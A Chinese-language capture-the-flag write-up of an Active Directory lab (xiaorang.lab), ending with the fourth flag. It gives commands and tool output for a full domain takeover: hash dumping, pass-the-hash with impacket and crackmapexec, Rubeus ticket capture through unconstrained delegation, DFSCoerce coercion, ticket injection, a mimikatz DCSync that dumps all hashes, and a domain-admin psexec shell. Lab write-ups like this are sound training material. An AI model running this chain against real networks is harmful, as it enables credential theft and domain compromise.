9b d9 0b 1c d1 d3 6c e4 f0 f3 c9 b9 22 6c ba 69 81 f3 ff fb a0 6e 70 a7 4a eb 82 0a df e6 68 e0 25 23 bf 76 6b db 1a 4
d 1d 55 49 db ac 51 db 78 79 7a 95 f1 0a 6e 94 e4 4f aa 5a 86 db a0 f6 f8 01 60 1a 8d 35 5b fc 40 d4 dc ed c3 51 f4 e8
c2 97 c5 8c 5a 7d 0b 25 16 7f 4d a6 ae f5 8b bd e3 da 88 92 42 42 5b 19 ef 97 99 7d fc 51 73 79 24 8f 43 33 32 14 c1 36
85 c6 af f5 26 1a bc e8 96 12 8f 59 e0 68 87 f5 2c 3a 8c 39 73 04 30 de 61 6e a6 eb 22 ff 3b e0 49 c0 e9 1b 41 01 13 4
5 e7 fa fc 48 06 1e 63 79 92 e8 15 2a e3 78 c3 96 6d 30 d2 65 42 90 82 1b 42 90 4d b2 32 77 d7 a2 2d a2 0f e2 ba d1 39
bc 75
WIN19$ xiaorang.lab 3a 94 de 4d 87 8e 7d 46 88 ec 9c 70 fd f0 c5 3e 4c f3 ce 6a 80 79 46 c6 2f f9 52 9b 4e 1d 90 58 52 2a 4e ac bf 05 09 08
06 0c 4b a9 a2 aa a2 9d db 0d f8 09 82 c0 6e f4 1b 81 93 59 67 54 de 17 82 d7 c3 82 c5 38 13 4f d0 55 98 f6 a2 cc e7 c
b 85 84 35 8a 0c 2e 9f d1 90 0c 0f c1 ea 0d d9 c5 d9 7f 29 a3 57 46 6b bf a4 b9 73 9a 80 84 1d df 3f 33 f5 16 e4 ee 2e
d3 88 92 cd a5 6e ac e3 eb 71 43 ed 7c b8 a2 9e 52 d5 31 1c 50 9b c8 71 03 e1 8e 4f 60 53 84 13 19 02 e2 8d 92 3f dc 0b
38 2c 13 c1 0e 6b 64 a7 fc 7a 2a a5 0e e0 b0 66 a9 a0 2f 8d 8d 40 f8 72 d3 36 d3 3a a9 0d 3f b9 00 ef 3e 90 d9 36 a2 a
d 36 2a 22 cd a0 cc 5b f4 0e a4 6b d3 24 8e 6e 99 59 96 d9 f8 a7 26 09 58 0a c2 3a 69 56 76 40 b9 10 92 a7 5c aa 3d e1
d0 1f
win19$ XIAORANG.LAB 6e 1f 0f ee bf 61 15 c5 37 bf 3a e4 64 e7 69 e3 a0 65 8a 20 3a 43 ee a3 ce 80 d7 e5 9f 90 ea 3e 0d 9d 30 18 40 27 00 1a
9b d9 0b 1c d1 d3 6c e4 f0 f3 c9 b9 22 6c ba 69 81 f3 ff fb a0 6e 70 a7 4a eb 82 0a df e6 68 e0 25 23 bf 76 6b db 1a 4
d 1d 55 49 db ac 51 db 78 79 7a 95 f1 0a 6e 94 e4 4f aa 5a 86 db a0 f6 f8 01 60 1a 8d 35 5b fc 40 d4 dc ed c3 51 f4 e8
c2 97 c5 8c 5a 7d 0b 25 16 7f 4d a6 ae f5 8b bd e3 da 88 92 42 42 5b 19 ef 97 99 7d fc 51 73 79 24 8f 43 33 32 14 c1 36
85 c6 af f5 26 1a bc e8 96 12 8f 59 e0 68 87 f5 2c 3a 8c 39 73 04 30 de 61 6e a6 eb 22 ff 3b e0 49 c0 e9 1b 41 01 13 4
5 e7 fa fc 48 06 1e 63 79 92 e8 15 2a e3 78 c3 96 6d 30 d2 65 42 90 82 1b 42 90 4d b2 32 77 d7 a2 2d a2 0f e2 ba d1 39
bc 75
meterpreter >
分析可攻击的手段
拿到啦Adrian 的 NTLM 哈希
Username Domain NTLM
Adrian WIN19 5743400194e8ca4db47066363fd139f3
用途:
- 可以进行 哈希传递攻击(Pass-the-Hash)
- 用这个哈希登录域内其他主机,无需破解明文密码
原理:
- Windows 身份验证过程中,客户端从不发送明文密码
客户端发送的是密码的 NTLM 哈希
服务器验证的是哈希值,而不是密码本身
因此,只要拥有正确的哈希,就能通过身份验证,无需知道明文密码
利用条件
| 条件 | 说明 |
|---|---|
| NTLM 认证必须启用 | 大多数 Windows 环境默认启用 |
| 目标主机必须开放 445 端口 | SMB 服务 |
| 用户不能是受保护用户组成员 | Protected Users 组会阻止 PtH |
| 不能跨域使用 | 哈希只在同一个域或工作组有效 |
如何实施 PtH 攻击
方法一:使用 impacket 工具集(推荐)
# 1. 使用 psexec 进行哈希传递
python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :5743400194e8ca4db47066363fd139f3 Adrian@172.22.4.45
# 2. 使用 wmiexec(更隐蔽)
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes :5743400194e8ca4db47066363fd139f3 Adrian@172.22.4.45
# 3. 使用 smbexec
python3 /usr/share/doc/python3-impacket/examples/smbexec.py -hashes :5743400194e8ca4db47066363fd139f3 Adrian@172.22.4.45
注意:-hashes 参数格式是 LM哈希:NTLM哈希,如果 LM 哈希为空,留空即可::NTLM哈希
方法二:使用 crackmapexec
# 测试哈希是否有效
crackmapexec smb 172.22.4.45 -u Adrian -H 5743400194e8ca4db47066363fd139f3
# 执行命令
crackmapexec smb 172.22.4.45 -u Adrian -H 5743400194e8ca4db47066363fd139f3 -x 'whoami'
WIN19$ 的含义
计算机名 + $ = 计算机账户
计算机账户的含义
计算机账户是 Active Directory 中代表域内每台计算机的对象。
类比理解
| 对象类型 | 账户名 | 密码管理 | 用途 |
|---|---|---|---|
| 用户账户 | Adrian | 用户自己修改 | 人登录计算机 |
| 计算机账户 | WIN19$ | 系统自动管理 | 计算机加入域、与其他计算机通信 |
计算机 WIN19 想加入域 xiaorang.lab
↓
创建计算机账户 WIN19$
↓
WIN19 用 WIN19$ 账户在域中标识自己
WIN19$ → 访问共享文件 → DC01$
(以计算机身份) (以计算机身份)
| 称呼 | 格式 | 用途 | 示例 |
|---|---|---|---|
| 计算机账户名 | 计算机名$ | 域内唯一标识 | WIN19$ |
| 计算机全名 | 计算机名.域名 | DNS 解析 | WIN19.xiaorang.lab |
| NetBIOS 名称 | 计算机名 | 旧版网络识别 | WIN19 |
| 安全主体名称 (SPN) | host/计算机名.域名 | Kerberos 认证 | host/WIN19.xiaorang.lab |
| 类型 | 账户名示例 | 用途 | 登录能力 |
|---|---|---|---|
| 用户账户 | Adrian、Administrator | 人员登录计算机 | ✅ 可以交互式登录 |
| 计算机账户 | WIN19$ | 计算机在域中的身份 | ❌ 不能交互式登录 |
计算机在域里也有自己的"身份证号",这个"身份证号"就是 WIN19$
现实世界 Active Directory 域
─────────────────────────────────────────────
你的身份证 ←→ WIN19$(计算机账户)
你的姓名 ←→ WIN19(计算机名)
你工作的公司 ←→ xiaorang.lab(域名)
你是员工 ←→ Adrian(用户账户)
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba21c629d9fd56aff10c3e826323e6ab:::
Adrian:1003:aad3b435b51404eeaad3b435b51404ee:5743400194e8ca4db47066363fd139f3:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:44d8d68ed7968b02da0ebddafd2dd43e:::
| 用户名 | RID | NTLM 哈希 | 说明 |
|---|---|---|---|
| Administrator | 500 | ba21c629d9fd56aff10c3e826323e6ab | 🔴 本地管理员 |
| Adrian | 1003 | 5743400194e8ca4db47066363fd139f3 | 普通用户(你之前用的) |
| DefaultAccount | 503 | 31d6cfe0d16ae931b73c59d7e0c089c0 | 默认账户(空密码) |
| Guest | 501 | 31d6cfe0d16ae931b73c59d7e0c089c0 | 来宾账户(禁用) |
| WDAGUtilityAccount | 504 | 44d8d68ed7968b02da0ebddafd2dd43e | Windows Defender 相关 |
上传AdFind.exe进行域内信息收集
meterpreter > upload /Volumes/N1/hackerTools/neiWang/信息抓取/AdFind-master/AdFind.exe C:\\Users\\Public\\AdFind.exe #靶机路径,注意双反斜杠
cd C:\Users\Public
利用工具lzzbb/Adinfo: 域信息收集工具 (github.com)进行信息收集。
upload /Volumes/N1/hackerTools/neiWang/信息抓取/Adinfo-main/Adinfo_win.exe C:\\Users\\Public\\Adinfo_win.exe
Adinfo_win.exe -d xiaorang.lab --dc 172.22.4.7 -u WIN19$ -H ec29e710d35b2d888f3b022892cda412
| 参数 | 值 | 含义 |
|---|---|---|
-d | xiaorang.lab | 域名 |
--dc | 172.22.4.7 | 指定域控服务器(DC01) |
-u | WIN19$ | 用户名(计算机账户) |
-H | ec29e710d35b2d888f3b022892cda412 | 计算机账户的NTLM 哈希 |
C:\Users\Public>Adinfo_win.exe -d xiaorang.lab --dc 172.22.4.7 -u WIN19$ -H ec29e710d35b2d888f3b022892cda412
Adinfo_win.exe -d xiaorang.lab --dc 172.22.4.7 -u WIN19$ -H ec29e710d35b2d888f3b022892cda412
_____ _ __
/\ | __ \(_) / _|
/ \ | | | |_ _ __ | |_ ___
/ /\ \ | | | | | '_ \| _/ _ \ Tools that collect information from domain
/ ____ \| |__| | | | | | || (_) |
/_/ \_\_____/|_|_| |_|_| \___/ v1.5 by lzz
[i] Try to connect '172.22.4.7'
[c] Auth Domain: xiaorang.lab
[c] Auth user: WIN19$
[c] Auth hash: ec29e710d35b2d888f3b022892cda412
[c] connected successfully,try to dump domain info
[i] DomainVersion found!
[+] Windows 2016 Server operating system
[i] Domain SID:
[+] S-1-5-21-1913786442-1328635469-1954894845
[i] Domain MAQ found
[+] 10
[i] Domain Account Policy found
[+] pwdHistory: 24
[+] minPwdLength: 7
[+] minPwdAge: 1(day)
[+] maxPwdAge: 42(day)
[+] lockoutThreshold: 0
[+] lockoutDuration: 30(min)
[i] Domain Controllers: 1 found
[+] DC01$ ==>>> Windows Server 2016 Datacenter [10.0 (14393)] ==>>> 172.22.4.7
[i] ADCS has not found!
[i] Domain Exchange Server: 0 found
[i] Domain All DNS:
[+] Domain Dns 3 found,Saved in All_DNS.csv
[i] Domain Trusts: 0 found
[i] SPN: 39 found
[i] Domain GPOs: 2 found
[i] Domain Admins: 1 users found
[+]Administrator
[i] Enterprise Admins: 1 users found
[+]Administrator
[i] administrators: 1 users found
[+]Administrator
[i] Backup Operators: 0 users found
[i] Users: 6 found
[i] User with Mail: 0 found
[i] Only_name_and_Useful_Users: 3 found
[i] Only_admincount=1_andUseful_Users: 1 found
[i] Locked Users: 0 found
[i] Disabled Users: 3 found
[i] Users with passwords not set to expire: 2 found
[i] Domain Computers: 5 found
[i] Only_name_and_Useful_computers: 5 found
[i] Groups: 49 found
[i] Domain OUs: 1 found
[i] LAPS Not found
[i] LAPS passwords: 0 found
[i] SensitiveDelegate Users: 0 found
[i] AsReproast Users: 0 found
[i] Kerberoast Users: 1 found
[+] CN=krbtgt,CN=Users,DC=xiaorang,DC=lab ==>>> kadmin/changepw
[i] SIDHistory Users: 0 found
[i] CreatorSID Users: 2 found
[+] WIN-3X7U15C2XDM$ ==>>> Marcus
[+] WIN-YUUAW2QG9MF$ ==>>> Marcus
[i] RBCD Users: 0 found
[i] Unconstrained Deligation Users: 1 found
[+] WIN19$
[i] Constrained Deligation Users: 0 found
[i] Krbtgt password last set time: 2022-06-22 22:54:34 +0800 CST
[i] CSVs written to 'csv' directory in C:\Users\Public
[i] Execution took 1.3082326s
域控信息
Domain Controllers: 1 found
DC01$ → Windows Server 2016 Datacenter → 172.22.4.7
| 域控主机名 | DC01 |
|---|---|
| 域控 IP | 172.22.4.7 |
| 操作系统 | Windows Server 2016 |
| 计算机 | IP(推测) | 角色 |
|---|---|---|
| DC01$ | 172.22.4.7 | 域控 |
| WIN19$ | 172.22.4.45 | 当前主机 |
| FILESERVER$ | 172.22.4.19 | 文件服务器 |
| 还有 2 台 | 未知 | 待发现 |
特权账户
| 组 | 成员 | 说明 |
|---|---|---|
| Domain Admins | Administrator | 域管理员(1 人) |
| Enterprise Admins | Administrator | 企业管理员(1 人) |
| Administrators | Administrator | 本地管理员(1 人) |
非约束委派账户(1 个)
[i] Unconstrained Deligation Users: 1 found
[+] WIN19$
| 项目 | 说明 |
|---|---|
| 账户 | WIN19$(当前计算机) |
| 风险 | 🔴 高! |
非约束委派的危害:
- 如果有域管理员登录到 WIN19,可以捕获其 TGT
- 可以伪造域管理员票据,接管整个域
利用方法:
# 在 WIN19 上等待管理员登录
# 然后使用 mimikatz 导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
发现一个非约束委派,,那么只要域控来访问我们的服务,就会在我们本地的lsass进程中缓存目标的TGT。
上传一个Rubeus,准备进行抓取票据
meterpreter > upload /Volumes/N1/hackerTools/neiWang/域攻击/Rubeus/Rubeus.exe
Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$
这条命令启动了一个专门用于监控和捕获Kerberos TGT(Ticket Granting Ticket,票据授权票据)的监听器。
Rubeus.exe:一个用于Kerberos协议交互和滥用的强大工具。
monitor:这是Rubeus的一个核心功能,用于持续监控系统中新产生的Kerberos TGT登录事件。它就像一个雷达,时刻扫描着“猎物”的踪迹。
/interval:1:设置监控的轮询间隔为1秒。它指示Rubeus每秒检查一次是否有新的TGT产生。这个参数可以让工具近乎实时地捕获票据。
/nowrap:控制输出格式。当捕获到TGT时,Rubeus会以Base64编码的形式显示它。/nowrap参数使这个Base64字符串不换行,方便您后续直接复制和利用。
/targetuser:DC01$:这是最关键的目标设置。它告诉Rubeus,只关注来自特定用户的TGT。
DC01$:这是域控主机DC01在Active Directory中的计算机账户名称。末尾的$符号是计算机账户的标识。
C:\Users\Public>Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$
Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: TGT Monitoring
[*] Target user : DC01$
[*] Monitoring every 1 seconds for new TGTs
总结一下:这个命令让Rubeus工具在后台高频地运行,只等着捕获域控DC01这台计算机账户(DC01$)的Kerberos TGT票据
非约束委派的定义:当一个服务器(如您的WIN19)被设置为非约束委派时,任何访问它的用户都会被“信任”,从而将其Kerberos TGT转发并存储在该服务器的内存中。
攻击者视角:对于一个已经控制了WIN19(拥有管理员权限)的攻击者来说,这就像一个“票据收集器”。通过Rubeus monitor,可以轻松收割所有连接到WIN19的高权限用户的TGT,其中就包括被强制引过来的域控
用dfscoerce触发rpc使dc向WIN19认证,这里接收端使用ip的时候成功率不高,所以还是使用主机名win19
python3 dfscoerce.py -u "WIN19$" -hashes :ec29e710d35b2d888f3b022892cda412 -d xiaorang.lab win19 172.22.4.7
[-] Connecting to ncacn_np:172.22.4.7[\PIPE\netdfs]
[+] Successfully bound!
[-] Sending NetrDfsRemoveStdRoot!
NetrDfsRemoveStdRoot
ServerName: 'win19\x00'
RootShare: 'test\x00'
ApiFlags: 1
DFSNM SessionError: code: 0x490 - ERROR_NOT_FOUND - Element not found.
-u "WIN19$" & -hashes :5943c35...:这里非常关键。你并不是用普通用户名和密码,而是用计算机账户 WIN19$ 的 NTLM 哈希进行身份验证。这表明你已经成功抓取到了 WIN19 这台主机的机器账户哈希,并正在用它来执行更高权限的操作。这是横向移动和权限提升的重要一步。
-d xiaorang.lab:指定目标域的名称。Adinfo_win.exe 之前的扫描结果也显示域 SID 为 S-1-5-21-...,确认了域环境的存在。
win19:这是你的监听主机,也就是已经被你控制的 172.22.4.45(WIN19)。命令执行后,域控会尝试连接这台主机。
172.22.4.7:这是你的目标主机,也就是域控 DC01。命令的目的是强制这台机器向你的监听器(win19)发起认证So
收到票据
C:\Users\Public>Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$
Rubeus.exe monitor /interval:1 /nowrap /targetuser:DC01$
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: TGT Monitoring
[*] Target user : DC01$
[*] Monitoring every 1 seconds for new TGTs
[*] 2026/5/14 12:14:26 UTC - Found new TGT:
User : DC01$@XIAORANG.LAB
StartTime : 2026/5/14 14:31:25
EndTime : 2026/5/15 0:31:25
RenewTill : 2026/5/21 14:31:25
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD5BEwJtsE7UQHexQySXemifIHXktf6HW/VqghIaKjNaGL0RXAICVGumfn0RbyH9wlbFJCrh4IEkhyzXs5gRtVyU9tScrLU/H9uYOmxORgUH8ncREvE1jsM1Lmo5fXKfPdkbTKIXDS2EUX8AvBtvguTSMxTN6v5WHmCFw1l6SR6FhaMGJDdQw+wxS+DFHTEAc09Hm3eQhaIMwu/jkTBFEapuuGwHoHcoQO1awTIHngTlw6qBKxmBKvhZwm/DW5yfcwMRL/wulKvMT641o4Fq65wJPxzt3v16zgQ12zulKn9nl7abZuyVhvuuja1twap16bZl5qfXEEjZqwEyQj6AeHv2CceyQhyqxYeS+NmYLMgzkXiHzlV61hg7cV9EwdueboUACqpL2ZUXUcNh7Ei+JY2rGuEFrMq4zrrxs68F1zehSejtFnig7hGDTz2vJBC0DLbcotEl5J/nvfZ3PNJAk+R1ooFBCfQiewrFsB78ibc80VKOxMx6P0QAjnDIzI4yQugiXQTsHW9oHqUIFEezIAsrkDQwfpute15VLOCZ4XZhXutQgL7vhDX3yFR7iEBIb/X/rS9nwUXm0aGH7ASRf/RdSbczTcYBJfXsz4WhH8K7gye7SCn2TVGlfMPBVxLL0UylYXBh4W7HydocDidZ1memZ9P84DwDsf/HOWaL7yNDLHc3tVSCZta4ni6Q5nYbQCr++lW8v6Y2B+Q8QnhasLCAC4HOKKmqpPpTjcCyFVMVruNOLCJglJvBzkChQ3Ae0SLaiAvuIgaVIjg20Vn7ADo+CQodnt+oRELZQVolvfdf3uh22lhA8O3hK82U3muBFVnfWKebK+jOltqilCdhAuDh8zKD9VdjWU6p/HRW43VcrJl4wQ1zByPBAwS9zDu/JENblRyCUXrG1Bx5SvFla5XGHJsguWxrpD+4oN9tu22fY9xV7Q3vUbAEC3Jt/35F5aCMgV7EylhZjCTfxyUFxfboeHJl/wd3XErfArZrombEruQoNS3teDfuVgcvP9jF5nmQ0eqZyMSxc/EdxXHZaHFH9sJpv1kAJKFGbQAEXP5VvnJ+iGOYUj31wAa6QrU21mfk8c3vn170cUx8kwNw4MaiB7xgE7BHSxxW/M1VmZHeWkpFROhB8G/HCNIfk9O3a/tG+pMrlBk97o0nysNDvubpkxtEU5bvMICOJVsfJ0m39XSIJKZN4PAVLrjC9ZFOm3bnUxQYcDa5V9h6mGJ8IhDAX9QtaM0X6EKlFpuSKdkMDVhI3PzBl6H24JAaRQMfG2atcDmOPxy1A7Z51YvokafdFDC8HmU+iwHqunx1hUXNisbhjHw6V12BeELiUZLaPTWlb6lXg8y0crSvLdU4932T3N3oZVv9cpljXFtEBhRO/LkBrc1cWzavcmm7VqjDymVdsJNH66u6n2MVtZacY8r7Mqec8nUclXSZRRtBvkOjgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCBFjq5HbsNn0sCTHOicmByrqIFALkI1KtD/CmwBDtuDxKEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDI2MDUxNDA2MzEyNVqmERgPMjAyNjA1MTQxNjMxMjVapxEYDzIwMjYwNTIxMDYzMTI1WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg==
[*] Ticket cache size: 1
票据注入,命令如下
Rubeus.exe ptt /ticket:doIFlDCCBZCgAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMWElBT1JBTkcuTEFCo4IEVDCCBFCgAwIBEqEDAgECooIEQgSCBD5BEwJtsE7UQHexQySXemifIHXktf6HW/VqghIaKjNaGL0RXAICVGumfn0RbyH9wlbFJCrh4IEkhyzXs5gRtVyU9tScrLU/H9uYOmxORgUH8ncREvE1jsM1Lmo5fXKfPdkbTKIXDS2EUX8AvBtvguTSMxTN6v5WHmCFw1l6SR6FhaMGJDdQw+wxS+DFHTEAc09Hm3eQhaIMwu/jkTBFEapuuGwHoHcoQO1awTIHngTlw6qBKxmBKvhZwm/DW5yfcwMRL/wulKvMT641o4Fq65wJPxzt3v16zgQ12zulKn9nl7abZuyVhvuuja1twap16bZl5qfXEEjZqwEyQj6AeHv2CceyQhyqxYeS+NmYLMgzkXiHzlV61hg7cV9EwdueboUACqpL2ZUXUcNh7Ei+JY2rGuEFrMq4zrrxs68F1zehSejtFnig7hGDTz2vJBC0DLbcotEl5J/nvfZ3PNJAk+R1ooFBCfQiewrFsB78ibc80VKOxMx6P0QAjnDIzI4yQugiXQTsHW9oHqUIFEezIAsrkDQwfpute15VLOCZ4XZhXutQgL7vhDX3yFR7iEBIb/X/rS9nwUXm0aGH7ASRf/RdSbczTcYBJfXsz4WhH8K7gye7SCn2TVGlfMPBVxLL0UylYXBh4W7HydocDidZ1memZ9P84DwDsf/HOWaL7yNDLHc3tVSCZta4ni6Q5nYbQCr++lW8v6Y2B+Q8QnhasLCAC4HOKKmqpPpTjcCyFVMVruNOLCJglJvBzkChQ3Ae0SLaiAvuIgaVIjg20Vn7ADo+CQodnt+oRELZQVolvfdf3uh22lhA8O3hK82U3muBFVnfWKebK+jOltqilCdhAuDh8zKD9VdjWU6p/HRW43VcrJl4wQ1zByPBAwS9zDu/JENblRyCUXrG1Bx5SvFla5XGHJsguWxrpD+4oN9tu22fY9xV7Q3vUbAEC3Jt/35F5aCMgV7EylhZjCTfxyUFxfboeHJl/wd3XErfArZrombEruQoNS3teDfuVgcvP9jF5nmQ0eqZyMSxc/EdxXHZaHFH9sJpv1kAJKFGbQAEXP5VvnJ+iGOYUj31wAa6QrU21mfk8c3vn170cUx8kwNw4MaiB7xgE7BHSxxW/M1VmZHeWkpFROhB8G/HCNIfk9O3a/tG+pMrlBk97o0nysNDvubpkxtEU5bvMICOJVsfJ0m39XSIJKZN4PAVLrjC9ZFOm3bnUxQYcDa5V9h6mGJ8IhDAX9QtaM0X6EKlFpuSKdkMDVhI3PzBl6H24JAaRQMfG2atcDmOPxy1A7Z51YvokafdFDC8HmU+iwHqunx1hUXNisbhjHw6V12BeELiUZLaPTWlb6lXg8y0crSvLdU4932T3N3oZVv9cpljXFtEBhRO/LkBrc1cWzavcmm7VqjDymVdsJNH66u6n2MVtZacY8r7Mqec8nUclXSZRRtBvkOjgeMwgeCgAwIBAKKB2ASB1X2B0jCBz6CBzDCByTCBxqArMCmgAwIBEqEiBCBFjq5HbsNn0sCTHOicmByrqIFALkI1KtD/CmwBDtuDxKEOGwxYSUFPUkFORy5MQUKiEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDI2MDUxNDA2MzEyNVqmERgPMjAyNjA1MTQxNjMxMjVapxEYDzIwMjYwNTIxMDYzMTI1WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDFhJQU9SQU5HLkxBQg==

# 查看当前会话中的票据
klist
看到 DC01$ 的 TGT。
C:\Users\Public>klist
当前登录 ID 是 0:0xaa7609
缓存的票证: (1)
#0> 客户端: DC01$ @ XIAORANG.LAB
服务器: krbtgt/XIAORANG.LAB @ XIAORANG.LAB
Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
票证标志 0x60a10000 -> forwardable forwarded renewable pre_authent name_canonicalize
开始时间: 5/14/2026 14:31:25 (本地)
结束时间: 5/15/2026 0:31:25 (本地)
续订时间: 5/21/2026 14:31:25 (本地)
会话密钥类型: AES-256-CTS-HMAC-SHA1-96
缓存标志: 0x1 -> PRIMARY
调用的 KDC:
C:\Users\Public>dir \\DC01.xiaorang.lab\C$
拒绝访问。
你刚才用 Rubeus 注入的是 DC01$(域控自己的计算机账户) 的票据,不是域管理员账户的票据。
| 票据身份 | 权限 | 能访问 \\DC01\C$ 吗? |
|---|---|---|
DC01$(域控自己) | 域控计算机账户 | ❌ 不能(计算机账户不能访问自己的 C$ 管理共享) |
Administrator(域管理员) | 域管理员 | ✅ 能 |
DCSync 攻击
DCSync 是一种利用域控同步机制获取密码哈希的攻击技术。
| 问题 | 答案 |
|---|---|
| 什么是 DCSync? | 攻击者模拟域控,向真正的域控请求同步所有用户的密码哈希 |
| 需要什么权限? | Replicating Directory Changes 权限(通常域管理员才有) |
| 能拿到什么? | 域内所有用户(包括域管理员)的 NTLM 哈希 |
| 为什么叫 DCSync? | DC = Domain Controller(域控),Sync = Synchronization(同步) |
因为dc拥有dcsync的权限,所以直接可以获取域内所有的hash。我有域控计算机账户DC01的凭据,我就相当于备用域控
正常情况:
主域控 PDC ──同步──> 备用域控 BDC
攻击情况:
攻击者模拟成"备用域控" ──请求同步──> 主域控
↓
主域控回复:"好的,这是所有用户的密码哈希"
↓
攻击者拿到域管理员哈希
用 Mimikatz 执行 DCSync 攻击,导出域内所有用户的密码哈希··、
lsadump::dcsync | Mimikatz 的 DCSync 功能模块 |
|---|---|
/domain:xiaorang.lab | 指定目标域名 |
/all | 导出所有用户 |
/csv | 输出为 CSV 格式 |
exit | 执行后退出 Mimikatz |
C:\Users\Adrian\Desktop\mimikatz_trunk\x64>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:xiaorang.lab /all /csv
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC01.xiaorang.lab' will be the DC server
[DC] Exporting domain 'xiaorang.lab'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502 krbtgt 767e06b9c74fd628dd13785006a9092b 514
1105 Aldrich 98ce19dd5ce74f670d230c7b1aa016d0 512
1106 Marcus b91c7cc463735bf0e599a2d0a04df110 512
1112 WIN-3X7U15C2XDM$ c3ddf0ffd17c48e6c40e6eda9c9fbaf7 4096
1113 WIN-YUUAW2QG9MF$ 125d0e9790105be68deb6002690fc91b 4096
1000 DC01$ 6f218e726ce169ea07d1756cac083454 532480
500 Administrator 4889f6553239ace1f7c47fa2c619c252 512
1103 FILESERVER$ 28c657b7b2af48b3803d53a7f94bb83f 4096
1104 WIN19$ ec29e710d35b2d888f3b022892cda412 528384
成功拿到域管hash
| 用户名 | RID | NTLM 哈希 | 账户类型 |
|---|---|---|---|
| Administrator | 500 | 4889f6553239ace1f7c47fa2c619c252 | 🔴 域管理员 |
| krbtgt | 502 | 767e06b9c74fd628dd13785006a9092b | Kerberos 密钥分发账户 |
| Aldrich | 1105 | 98ce19dd5ce74f670d230c7b1aa016d0 | 域用户 |
| Marcus | 1106 | b91c7cc463735bf0e599a2d0a04df110 | 域用户 |
| WIN19$ | 1104 | ec29e710d35b2d888f3b022892cda412 | 计算机账户(你已用过的) |
| DC01$ | 1000 | 6f218e726ce169ea07d1756cac083454 | 域控计算机账户 |
| FILESERVER$ | 1103 | 28c657b7b2af48b3803d53a7f94bb83f | 文件服务器账户 |
1. 用域管理员哈希登录域控
# 在 Kali 上执行
python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 Administrator@172.22.4.7
└─$ python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes :4889f6553239ace1f7c47fa2c619c252 Administrator@172.22.4.7
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 172.22.4.7.....
[*] Found writable share ADMIN$
[*] Uploading file EelOjyiG.exe
[*] Opening SVCManager on 172.22.4.7.....
[*] Creating service GVhP on 172.22.4.7.....
[*] Starting service GVhP.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 10.0.14393]
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) 2016 Microsoft Corporation����������Ȩ����
C:\Windows\system32> type C:\Users\Administrator\flag\flag04.txt
______ _______ _ _______ _______ _______ __________________ _______ _
( __ \ ( ____ \( \ ( ____ \( ____ \( ___ )\__ __/\__ __/( ___ )( ( /|
| ( \ )| ( \/| ( | ( \/| ( \/| ( ) | ) ( ) ( | ( ) || \ ( |
| | ) || (__ | | | (__ | | | (___) | | | | | | | | || \ | |
| | | || __) | | | __) | | ____ | ___ | | | | | | | | || (\ \) |
| | ) || ( | | | ( | | \_ )| ( ) | | | | | | | | || | \ |
| (__/ )| (____/\| (____/\| (____/\| (___) || ) ( | | | ___) (___| (___) || ) \ |
(______/ (_______/(_______/(_______/(_______)|/ \| )_( \_______/(_______)|/ )_)
Awesome! Now you have taken over the entire domain network.
flag04: flag{e2cd2a8c-cc8c-4f08-a4bb-e025610effa3}
